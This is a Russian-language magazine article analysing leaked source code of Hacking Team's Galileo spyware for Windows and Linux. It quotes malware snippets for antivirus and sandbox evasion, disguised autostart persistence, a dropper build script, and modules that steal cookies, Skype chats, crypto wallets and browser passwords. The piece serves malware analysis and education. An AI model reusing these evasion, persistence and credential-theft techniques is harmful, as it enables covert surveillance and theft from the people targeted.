Прошел почти год с момента взлома компании Hacking Team, специализирующейся на разработке шпионского программного обеспечения для спецслужб со всего мира. Самое интересное, что в Сеть утекли исходники их платформы Galileo, но до сих пор не появилось более-менее подробного их обзора или анализа. Сегодня мы постараемся исправить это упущение.

 

Galileo в телескопе

Не будем терять время на ненужные предисловия и сразу же перейдем к делу. Вся платформа разбита на Git-репозитории c различным назначением и под разные платформы: Windows, Linux, BlackBerry, Windows Mobile, iOS, macOS, Android, но мы будем рассматривать только код под Windows и Linux. Сами модули, содержащиеся в репозиториях, можно поделить на несколько типов:

  • модули, названия которых начинаются с приставки vector-, предназначены для проникновения и закрепления в системе;
  • модули с приставкой core- — собственно основное ядро платформы, отвечает за сбор и передачу «хозяину» необходимой информации.

Есть также несколько вспомогательных модулей, выносить их в отдельную категорию не будем, но обязательно рассмотрим.
В основном вся платформа, заточенная под Windows, разработана на C++ (небольшая часть на Python), Linux-код написан на C. Также есть код и на Ruby — на нем разработана серверная часть продукта, мы же будем рассматривать только клиентскую. Но давай уже перейдем к практической части («Меньше слов, покажите мне код» — Линус Торвальдс) и посмотрим, какие приемы использовали парни из Италии, чтобы не засветиться на радарах и доставить свое программное обеспечение до «клиентов».

Рис. 1. Схема связей модулей Galileo
Рис. 1. Схема связей модулей Galileo
 

Пытаемся проникнуть в систему и закрепиться

Начнем с модуля vector-dropper. В принципе, внутри него все реализации dropper’а под различные ОС, но нас будет интересовать только RCSDropper под Windows (платформа под Linux полностью реализована в отдельном Git-репозитории core-linux, все, что касается модулей под Linux, разберем чуть позже).

 

RCSWin32Dropper

Этот модуль обеспечивает первоначальный этап заражения атакуемого объекта: «размазывает» по файловой системе необходимые файлы, их расшифровывает, обеспечивает persistence и прочее. В коде присутствует очень много комментариев, название самих переменных, модулей, все сделано очень удобно, много help-информации при работе с CLI — в общем, видно, что ребята старались, делали продукт, удобный для заказчика. Все приведенные вставки кода — это Copy-Paste из исходного кода, все комментарии разработчиков тоже по возможности сохранены, для удобства некоторые переведены. Для облегчения сборки контейнера, который потом будет доставляться на целевую машину, разработчики сделали полноценный CLI в двух модификациях. Первый вариант сборки:

// SCOUT SCOUT SCOUT(разведчик)
if (!strcmp(argv[1], "-s"))
{
    if (argc != 5)
    {
        printf("usage: RCSWin32Dropper.exe -s <scout> <input> <output>\n");
        return 0;
    }
    printf("Cooking for scout\n");
    ...
}

В данном случае <input> — чистый файлик, который перемешивается с «необходимым» кодом, в нашем случае — <scout> (модуль «разведчик», определяет, находится ли семпл в песочнице, выявляет наличие антивирусных средств), код данного модуля рассмотрим ниже. Итак, за «микс» между чистым файлом и необходимой полезной нагрузкой отвечает код из MeltFile.cpp, а именно функция MeltFile, она и инициализирует процесс скрещивания двух файлов. Подробно на том, как она это делает, останавливаться не будем, но основная цель — подмена текущего, чистого EntryPoint на функцию DropperEntryPoint из DropperCode.cpp (собственно, уже в этом коде и выполняется вся магия по извлечению модулей, которая будет описана ниже).

Второй экземпляр поставки отличается только тем, что он «запихивает» в наш файл-контейнер все необходимые модули — ядро, драйвер, конфигурационный файл и остальные:

if (argc != 12)
{
    printf("ERROR: \n");
    printf("  usage:  RCSWin32Dropper.exe  <core> <core64> <conf> <driver> <driver64> <codec> <instdir> <manifest> <prefix> <demo_bitmap> <input> <output>\n\n");
    printf("  <core> is the backdoor core\n"); // Ядро
    printf("  <core64> is the 64 bit backdoor core\n"); // Ядро для 64-разрядных систем
    printf("  <conf> is the backdoor encrypted configuration\n"); // Конфигурация
    printf("  <driver> is the kernel driver\n"); // Драйвер
    printf("  <driver64> is the 64 bit kernel driver\n"); // Драйвер для 64-разрядных систем
    printf("  <codec> is the audio codec\n"); // Аудиокодек, наверно для записи голоса :)
    printf("  <instdir> is the backdoor install directory (on the target)\n"); // Директория для распаковки
    printf("  <manifest> is a boolean flag for modifying the manifest\n"); //
    printf("  <prefix> is the core exported function(s) name prefix\n"); //
    printf("  <input> is the exe to be melted\n"); // Файл, с которым будем смешивать
    printf("  <output> is the output file\n\n"); // Файл-контейнер
    return 0;
}
 

DropperEntryPoint

На данном этапе стоит более подробно раскрыть работу DropperEntryPoint — функции, которая будет распаковывать основные модули на целевую машину. С самого начала кода можно увидеть обход эмулятора Avast, причем простым циклом на уменьшение — наверное, просто тянут время, и таким образом AV прекращает проверку эмулятором после 250–300 операций. В принципе, данная техника не нова:

// bypass AVAST emulation (SuspBehav-B static detection)
for (int i = 0; i < 1000; i+=4)
    i -= 2;

После восстанавливаем стандартным способом Entry Point, через call pop, затем находим секцию внутри текущего модуля с пометкой <E> (чтобы обнаружить смещение в коде, откуда начинаются модули, которые будем распаковывать), причем ищем обычным перебором по байтам в виде ассемблерной вставки:

while(1)
{
    __asm
    {
        mov ecx, [dwCurrentAddr] // ecx = *dwCurrentAddr
        magicloop:
            sub ecx, 1
            mov edx, [ecx]
            mov ebx, edx
            and ebx, 0xffff0000
            and edx, 0x0000ffff
            cmp edx, 0x453c // E>
            jne magicloop // edx != ‘E>’
            nop
            cmp ebx, 0x003e0000 ‘<’
            jne magicloop
            mov [dwCurrentAddr], ecx
            jmp endmagicloop
    }
}

Ассемблерная вставка используется с целью обхода Dr.Web, по крайней мере так указано в комментариях: // *** Find the ending marker of data section <E> - ASM because of Dr.Web :).

Следующим этапом будет восстановление собственной таблицы импорта:

// Накидываем импортируемые функции в виде массивов
CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };

// Предварительно определим прототип импортируемых функций
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// Получим адрес функции через обертку функций GetProcAddress, LoadLibrary
VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc);

// Обертка функции LoadLibrary
LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary();
// Обертка функции GetProcAddress
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();

Код у функций resolveLoadLibrary и resolveGetProcAddress почти идентичный. Суть такая, что через PEB производится поиск сначала экспорта kernel32, а затем двух ее самых важных для малварщика функций: GetProcAddress и LoadLibrary. Единственное, на что хочется обратить внимание, — это строка:

if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature

Как видно из комментария, для обхода f-secure сравнение имени модуля в списке PEB и строки с символами Kernel32.dll начинается со второго символа. После этого определяем, находится ли код под пристальным контролем Microsoft Essential или нет:

LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
pData->GetModuleFileNameA(NULL, fName, MAX_PATH);
char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 };

for(DWORD i=0; i<prgLen; i++)
    if(!_STRCMP_(fName+i, x86MspEng))
        goto OEP_CALL;

Выделяем память на куче и кладем туда полный путь доступа к файлу, содержащему указанный модуль, которым владеет текущий процесс. В результате если это совпадает с Microsoft Security Client, то прекращаем выполнение и переходим на оригинальный код нашего контейнера. В противном случае поочередно извлекаем все, что есть в контейнере.

 

Распаковка

Так же как и вариантов упаковки, есть два варианта распаковки кода. В случае упаковки с модулем разведки все модули, находящиеся в контейнере, зашифрованы RC4 и упакованы APlib (библиотека для сжатия исполняемых файлов для Microsoft Windows). В случае с модулем scout файл извлекается в директорию %Autorun%, таким образом обеспечивая себе persistence.

// CSIDL_STARTUP - C:\Documents and Settings\username\Start Menu
pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE);

Если модуля разведчика не было, то все файлы поочередно извлекаются в директорию Temp/Microsoft. Вот кусок кода, который отвечает за извлечение файлов:

if (header->files.core.offset != 0 && header->files.core.size != 0)
{
    PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset);
    PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset);

    DWORD size = header->files.core.size;
    DWORD originalSize = header->files.core.original_size;

    BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData);
    if (ret == FALSE)
        goto OEP_RESTORE;
}
 

Разведаем обстановку

Следующий модуль, который будем анализировать, — scout. В нем как раз происходит вся магия, позволяющая определить, запущены ли мы в песочнице, есть ли поблизости приложения, которые не подходят по «политическим» моментам, запущены ли мы в виртуализации и прочее. Начнем с функции AntiVM() в antivm.cpp:

BOOL AntiVM()
{
    AntiCuckoo(); //
    BOOL bVMWare = AntiVMWare();
    BOOL bVBox = AntiVBox();

    if (bVMWare || bVBox)
        return TRUE;

    return FALSE;
}

В ней как раз и стартует проверка наличия сред виртуализации и песочниц. Начнем с детекта Cuckoo Sandbox, как наиболее интересного из всех методик обхода. Метод основан на том, что при выполнении данного участка кода библиотека cuckoomon.dll упадет:

__asm
{
    mov eax, fs:[0x44] // save old value
    mov pOld, eax

    mov eax, pFake
    mov fs:[0x44], eax
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL);
__asm
{
    mov eax, pOld
    mov fs:[0x44], eax
}

Как обнаруживаются VMware и VirtualBox? Оба детекта почти идентичны: через язык запросов WMI запрашиваются значения некоторых параметров (ниже указаны инициализации строк, которые будут проводить WMI-запрос). Например, параметры BIOS, PnP, в случае с VirtualBox это:

WCHAR strQuery[] = {L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'B', L'i', L'o', L's', L'\0' };
WCHAR strSerial[] = { L'S', L'e', L'r', L'i', L'a', L'l', L'N', L'u', L'm', L'b', L'e', L'r', L'\0' };

При проверке на наличие VMware:

WCHAR strQuery[] = { L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'P', L'n', L'P', L'E', L'n', L't', L'i', L't', L'y', L'\0' };
WCHAR strDeviceId[] = { L'D', L'e', L'v', L'i', L'c', L'e', L'I', L'd', L'\0' };

После от полученных путем WMI-запросов значений вычисляют хеши SHA-1 и сравнивают с предопределенными константами:

#define IS_VMWARE   "\x72\x19\x78\xcf\x34\x89\x66\x34\xe1\x10\x2f\x21\xf1\x5c\x73\x96\x38\x9e\xa7\x69"
if (!memcmp(pSha1Buffer, IS_VMWARE, 20))
 

Самый тихий модуль

Следующим посмотрим модуль vector-silent. В общем представлении Vector-Silent — это модуль для скрытой установки полезной нагрузки в зараженную систему. В принципе, ничего особенного в нем нет, поэтому внимание на нем заострять не будем. Анализ вектора начнем с функции WinMain(). Суть работы модуля проста. Для начала восстанавливаем таблицу импорта стандартным для малварщиков способом — перебирая таблицы экспорта двух динамических библиотек: kernel32 и ntdll . Набор данных функций не представляет собой ничего необычного: VirtualAlloc(), VirtualFree(), GetModuleFileNameA(), GetEnviromentVariableA(), GetFileAttributesA(), CreatDirectoryA(), SetCurrentDirectoryA(), SetFileAttributesA(), CreateFileA(), GetLastError(), WriteFile(), CloseHandle(), FreeLibrary(), DeleteFileA(), swprintf(), GetCurrentProcessId(), GetModuleHandle().

Далее следует небольшой кусок кода с вызовом различных функций (получаем значения ключа реестра, текущую локаль, версию ОС и так далее), но он не несет для авторов никакой полезной нагрузки и даже обрамлен комментариями типа // FAKE FAKE FAKE и // END FAKE FAKE FAKE — просто способ запутать анализ. Основная полезная нагрузка модуля начинается в функции DropperEntryPoint(). В самом начале работы проверяется контроль Microsoft Essential для x86- и x64-разрядных систем. Для последнего сравнение ведется по строке :\myapp.exe. При совпадении работа завершается. Далее определяются пути к временным директориям из переменных окружения (TMP или TEMP). По временной директории вычисляется ее родительская, и проверяется наличие в ней папки с именем Microsoft.

Следующий участок кода функции — последовательный вызов функции dump_to_file(), которая записывает на диск основные функциональные модули: core, core64, config, driver, driver64, codec. По сути, функция dump_to_file() всего лишь проверяет актуальность входных аргументов, после чего в случае успеха передает управление функции DumpFile(). В функции DumpFile() производится шифрование/расшифровка (алгоритм RC4, ключ 256 бит) переданного в качестве аргумента тела файла и запись в рабочую директорию. В завершение DropperEntryPoint() вызывается функция CoreThreadProc(DropperHeader*). Здесь необходимо упомянуть, что в структуре DropperHeader:

typedef __declspec(align(4)) struct _data_section_header
{
    char rc4key[rc4keylen];
    winstartfunc pfn_originalentrypoint;
    dword synchro;
    char *dllpath;

    struct {
        DataSectionBlob newEntryPoint;
        DataSectionBlob coreThread;
        DataSectionBlob dumpFile;
        DataSectionBlob exitProcessHook;
        DataSectionBlob exitHook;
        DataSectionBlob GetCommandLineAHook;
        DataSectionBlob GetCommandLineWHook;
        DataSectionBlob rvaToOffset;
        DataSectionBlob rc4;
        DataSectionBlob hookIAT;
        DataSectionBlob load;
    } functions;
    DataSectionFiles files;
    PatchBlob stage1;
    PatchBlob stage2;
    CHAR instDir[10];
    CHAR eliteExports[18];
    CHAR version[20];
} DropperHeader;

присутствуют поля dllPath и eliteExports. Последнее содержит имена двух функций (условные названия HFF5 и HFF8), которые экспортируют библиотеку из dllPath. Сначала загружается модуль по расположению header->dllPath, затем получается адрес функции HFF5 и вызывается со следующими аргументами:

  • (1) строка <%systemroot%\System32\rundll32.exe "<dllPath>",<HFF8>>;
  • (2) NULL;
  • (3 и 4) пустые экземпляры структур типов STARTUPINFO и PROCESS_INFORMATION.

Таким образом запускаются основные модули.

 

Главный боец

Итак, перейдем к модулю soldier-win. Если бегло взглянуть на названия файлов с исходниками (см. рис. 2), то можно и без их анализа сделать вывод, что код, который в них написан, выполняет основную активность на зараженной машине: скриншоты, камера, сбор информации о паролях в различных соцсервисах, почтовых клиентах, есть даже код, который устанавливает местоположение по Wi-Fi.

Начнем с модуля main.cpp, а в нем с функции int CALLBACK WinMain, которая является EP для графических Windows-приложений. Кода в этом модуле хватит на целый номер журнала, но есть несколько интересных моментов, на них и сконцентрируемся. Например, функция InitScout(). По названию понятно, что она отвечает за инициализацию модуля. В первую очередь определяется «чистота» почвы, на которой модуль запускается. Делается это уже известным нам способом — AntiVM().

Вообще, самое интересное в функции InitScout() — это расшифровка конфига в LoadConf(). По-видимому, создатели предполагали несколько способов хранения конфигов: в самом коде и в ветке реестра. При этом использование ветки работает только в режиме debug. Конфиг зашифрован на AES в режиме CBC. В нем, помимо сервера, указаны основные цели, которые преследуют на текущей зараженной машине. Для каждой из них создается отдельный поток. Например, сбор информации о соцсервисах:

hSocialThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SocialMain, NULL, 0, NULL);

Сбор информации о соцсервисах работает следующим образом: первым делом забираются все имеющиеся на машине файлы cookie из браузеров Firefox, IE, Chrome. Первый и третий хранят cookie в базе данных SQLite, поэтому легко достать их обычным SQL-запросом:

DumpSqliteChrome(strProfilePath, strCookies)
{
    // Путь до базы ‘%chromeprofilepath%/Cookies’
    ...
    // Запрос
    CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'c', 'o', 'o', 'k', 'i', 'e', 's', ';', 0x0 };
    sqlite3_exec(lpDb, strQuery, ParseChromeCookies, NULL, NULL);
    ...
}

При сборе кукисов из IE просто проходим по каталогу с интересующими нас файлами и применяем к ним простенький парсер, получая необходимую инфу:

_snwprintf_s(strCookieSearch, MAX_FILE_PATH, MAX_FILE_PATH*sizeof(WCHAR), L"%s\\%s\\*", strAppData, strCookiePath);
ParseIECookie(strFileName);

Далее собирается информация о геокоординатах. В данном случае используется несколько подходов. Первый — это сбор информации о ближайших точках доступа Wi-Fi. Второе — сбор координат из постов новостной ленты Facebook, а также из размещенных в соцсети фото.

 

А как обстоят дела с Linux?

Ну а теперь окунемся немного в мир Linux. В данном случае весь код написан на С и структурно представляет собой почти полный аналог виндовой версии: ядро системы, дроппер и парочка вспомогательных модулей.

Рис. 2. Структура модулей для Linux
Рис. 2. Структура модулей для Linux

В первую очередь посмотрим код дроппера. В принципе, ничего специфического в нем нет, и в самом начале исходного кода dropper.c авторы оставили формат будущего агента:

/*
  DROPPER FORMAT
  --------------

   [n] dropper
  [16] MARKER
   [8] TAG
   [4] j (little endian) [config size]
   [j] config
   [4] i (little endian) [core32 size]
   [i] core32
   [4] i (little endian) [core64 size]
   [i] core64
  [16] MARKER
   [4] n (little endian) [dropper size]
*/

Если сопоставить это со скриптом сборки build.php, то действительно подтверждается структура формата dropper’a:

#!/usr/bin/env php
<?php

$dropper = $argv[1];
$core32 = $argv[2];
$core64 = $argv[3];
$config = $argv[4];

$agent = file_get_contents($dropper).
    "BmFyY5JhOGhoZjN1".
    "testthat".
    pack('V', filesize($config)).
    file_get_contents($config).
    pack('V', filesize($core32)).
    file_get_contents($core32).
    pack('V', filesize($core64)).
    file_get_contents($core64).
    "BmFyY5JhOGhoZjN1".
    pack('V', filesize($dropper));

file_put_contents("agent", $agent);
?>

Далее модуль установки всей полезной нагрузки, опрашивая различные переменные окружения (SUDO_USER, USER, USER_NAME), определяет, запущен ли он под рутом:

env = getenv(SO"USER")) && strcmp(env, SO"root") && (p = getpwnam(env))

Соответственно, если это так, то структура passwd из pwd.h, предназначенная для хранения информации о пользователе:

struct passwd {
    char    *pw_name;       /* имя пользователя */
    char    *pw_passwd;     /* пароль пользователя */
    uid_t    pw_uid;        /* ID пользователя */
    gid_t    pw_gid;        /* ID группы */
    char    *pw_gecos;      /* настоящее имя */
    char    *pw_dir;        /* домашний каталог */
    char    *pw_shell;      /* программа-оболочка */
};

заполняется информацией, полученной из /etc/passwd; если агент запущен не в режиме суперпользователя, то мы получаем его имя командой pp = popen(SO"who -q", "r"), а вся остальная информация описанным выше способом — через /etc/passwd. Далее полученная информация используется для смены текущего каталога на домашний каталог пользователя.

Следующий этап — извлечение всей нагрузки на диск. Производится за счет маркеров, тегов и размеров, которые добавлялись в агент через скрипт сборки. При этом в качестве каталога установки выступает /var/crash/.reports-%u-%s", uid, tag или /var/crash/.reports-%u-%s", uid, tag. Конфигурационный файл пишется в .cache:

if(!fread(&size, sizeof(unsigned int), 1, dropper)) break;
if(snprintf(path, sizeof(path), SO"%s/.cache", installdir) >= sizeof(path)) break;
if(!(config = fopen(path, "w"))) break;
while(size) {
    if(!fread(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, dropper)) break;
    if(!fwrite(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, config)) break;
    size -= ((size > sizeof(buf)) ? sizeof(buf) : size);
}
fclose(config);

а ядро текущего агента по аналогичной схеме в .whoopsie-report. Для поддержания живучести агента в системе проводится несколько операций, обеспечивающих его автозапуск:

if(snprintf(path, sizeof(path), SO"%s/.config", p->pw_dir) >= sizeof(path)) break;
mkdir(path, 0700);
if(snprintf(path, sizeof(path), SO"%s/.config/autostart", p->pw_dir) >= sizeof(path)) break;
mkdir(path, 0700);

if(snprintf(path, sizeof(path), SO"%s/.config/autostart/.whoopsie-%s.desktop", p->pw_dir, tag) >= sizeof(path)) break;
if(!(desktop = fopen(path, "w"))) break;
fprintf(desktop, SO"[Desktop Entry]%c", '\n');
fprintf(desktop, SO"Type=Application%c", '\n');
fprintf(desktop, SO"Exec=%s/whoopsie-report%c", installdir, '\n');
fprintf(desktop, SO"NoDisplay=true%c", '\n');
fprintf(desktop, SO"Name=whoopsie%c", '\n');
fprintf(desktop, SO"Comment=Whoopsie Report Manager%c", '\n');
fclose(desktop);

snprintf(path, sizeof(path), SO"%s/whoopsie-report", installdir);

А именно: в текущем каталоге пользователя в подкаталоге .config/autostart создается файл .desktop с путем до ядра. Ну и наконец, производится запуск ядра командой execl.

 

Ядро для системы Linux

Уделим немного внимания ядру Galileo для системы Linux. Кратко рассмотрим инициализацию ядра и более подробно поговорим о модулях полезной нагрузки.

Рис. 3. Перечисление имен модулей core Linux
Рис. 3. Перечисление имен модулей core Linux

Итак, на этапе инициализации первым делом определяется пользователь, от которого запущен процесс, имя процесса, имя машины, производится инициализация необходимых библиотек и парсится конфигурационный файл parseconfig(SO".cache"), при этом конфигурационный файл зашифрован:

BIO_set_cipher(bio_cipher, EVP_get_cipherbyname(SO"aes-128-cbc"), bps.confkey, iv, 0);

Сами ключи шифрования жестко прописаны в структуре params:

struct params {
    uint32_t version;
    char build[16];
    char subtype[16];
    unsigned char evidencekey[32];
    unsigned char confkey[32];
    unsigned char signature[32];
    unsigned char watermark[32];
    unsigned char demo[24];
    unsigned char info[256];
};
extern struct params bps;

В коде видно, что все настройки модуль носит с собой, при этом они оформлены в JSON-формате. Соответственно, их разбор оформлен в виде вызовов стандартных функций для работы с JSON. В настройках указаны время и периодичность запусков полезной нагрузки и, главное, набор этих самых полезных нагрузок и параметры их запуска. Чтобы обеспечить скрытность получения результатов работы, собранная информация с зараженной машины передается в pipe и шифруется на AES-128-CBC, при этом ключ шифрования жестко указан в коде в поле структуры bps evidencekey.

 

Полезные нагрузки

Ну а теперь пробежимся по наиболее интересным модулям полезной нагрузки.

  1. module_addressbook собирает информацию из адресной книги Skype, которая хранится в SQLite3 базе данных:
    snprintf(file, sizeof(file), SO&quot;%s/.Skype/*/main.db&quot;, getenv(SO&quot;HOME&quot;)

    После запросов к БД:

    SELECT id, skypename, fullname from Accounts WHERE id > %u AND is_permanent = '1' ORDER BY id", lastid1

    и

    SELECT id, skypename, displayname, birthday, phone_home_normalized, phone_office_normalized, phone_mobile_normalized FROM Contacts WHERE id > %u AND is_permanent= '1' ORDER BY id", lastid2

    из которого видна получаемая информация.

  2. module_application получает список всех запущенных процессов в системе с их параметрами через чтение /proc/[number]/cmdline.
  3. module_call получает список всех совершенных звонков в Skype. Все так же, как и в прошлый раз, — через чтение БД Skype-запросом:
    SELECT CA.id, begin_timestamp, duration, is_incoming, is_conference, A.skypename, A.fullname, host_identity, CO.displayname FROM Calls AS CA JOIN Accounts AS A LFT JOIN Contacts AS CO ON host_identity = CO.skypename WHERE is_active = 0 AND begin_timestamp&gt; %lu ORDER BY begin_timestamp&quot;, timestamp
  4. module_camera — из названия все понятно, видео получаем через устройство /dev/video0, пользуясь библиотекой libv4l2 — video for Linux.
  5. module_chat — получаем список и, в принципе, всю переписку Skype, также через SQLite и select к ней:
    SELECT chatname, timestamp, author, IFNULL(C.displayname, A.fullname), body_xml, IFNULL(A.fullname, NULL) FROM Messages AS M LEFT JOIN Contacts AS C ON author =C.skypename LEFT JOIN Accounts AS A ON author = A.skypename WHERE M.type = 61 AND (timestamp &gt; %u OR edited_timestamp &gt; %u) ORDER BY timestamp&quot;, timestamp, timestamp
  6. module_device — узнаем конфигурацию зараженной машины: характеристики процессора, свободное место на жестком диске, установленную операционную систему, подключенные устройства, просто читая различные файлы: /etc/os-release, /etc/lsb-release, /proc/meminfo, /proc/cpuinfo и так далее.
  7. module_messages — получаем список и содержимое всей почтовой переписки в почтовом клиенте Thunderbird. Ищем все файлики в ОС, связанные с клиентом, и парсим их, добывая интересную информацию.
  8. module_mic — производит запись звука и его дальнейшее сжатие библиотеками speex и pulse.
  9. module_money — собирает Bitcoin-кошельки на зараженной машине:
    money_getwallet(BITCOIN_WALLET, SO&quot;~/.bitcoin/wallet.dat&quot;);
     money_getwallet(LITECOIN_WALLET, SO&quot;~/.litecoin/wallet.dat&quot;);
     money_getwallet(FEATHERCOIN_WALLET, SO&quot;~/.feathercoin/wallet.dat&quot;);
     money_getwallet(NAMECOIN_WALLET, SO&quot;~/.namecoin/wallet.dat&quot;);
  10. module_screenshot — делает скриншоты экрана через библиотеку x11 и jpeglib.
  11. module_position — конечно, текущие координаты не получает, но собирает информацию о подключенной точке доступа Wi-Fi и Wi-Fi-адаптере.
  12. module_keylog получает информацию о нажатых клавишах клавиатуры.
  13. module_url собирает информацию обо всех посещениях в браузерах: Chrome, Firefox, Opera, Web GNOME. В принципе, в его работе ничего необычного нет, просто большинство браузеров хранят информацию о посещениях в SQLite-базах:
    • Firefox — ~/.mozilla/{firefox,icecat}/*/places.sqlite;
    • Chrome — ~/.config/{google-chrome,chromium}/*/History;
    • Web GNOME — ~/.gnome2/epiphany/ephy-history.db;
    • единственный браузер Opera хранит историю в обычном файле ~/.opera/global_history.dat, который просто парсится.
  14. module_mouse собирает информацию о нажатии мышкой с координатами нажатия и окном, в котором это нажатие сделано.
  15. module_password добывает информацию о логинах-паролях в браузерах (поддержка Firefox и Chrome реализована, а вот Opera и Web GNOME на тот момент еще нет) и почтовом клиенте Thunderbird. Для хранения учетных данных в Firefox и Thunderbird используется SQLite3 база данных, то есть делается очередной запрос:
    SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?

Далее полученные данные необходимо расшифровать. Тут на помощь приходит Network Security Services (NSS) — набор библиотек, предназначенных для разработки защищенных кросс-платформенных клиентских и серверных приложений. В его состав входит функция PK11SDR_Decrypt (SECItem *data, SECItem *result, void *cx), позволяющая расшифровывать блок данных, подготовленных PK11SDR_Encrypt, которая и поможет расшифровать учетные данные.

А что делать с Chrome? Здесь используется GNOME-keyring, предназначенный для безопасного хранения информации — имен пользователей и паролей. Соответственно, вызвав набор определенных методов, можно получить необходимые учетные данные (расписывать методы не имеет смысла, это можно посмотреть в коде).

 

Заключение

Рассказ можно продолжать и продолжать, но, к сожалению, даже электронный формат статьи не позволит нам впихнуть всю информацию в разумный объем. Поэтому, чтобы не получился очередной конкурент «Войны и мира», на этом мы закончим. Для тех, кому интересно более глубоко окунуться в творение Hacking Team, приводим ссылочку на репозиторий Hacked Team на GitHub.

Но даже из того материала, который здесь описан, понятно, что Galileo — полноценный коммерческий продукт для слежки за пользователями, работающий на большинстве операционных систем. К сожалению (а для нас — к счастью), разработчикам платформы не повезло, и все сорцы утекли в Сеть. Ну а нам было бы грех не воспользоваться таким шансом и не покопаться в коде :).

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии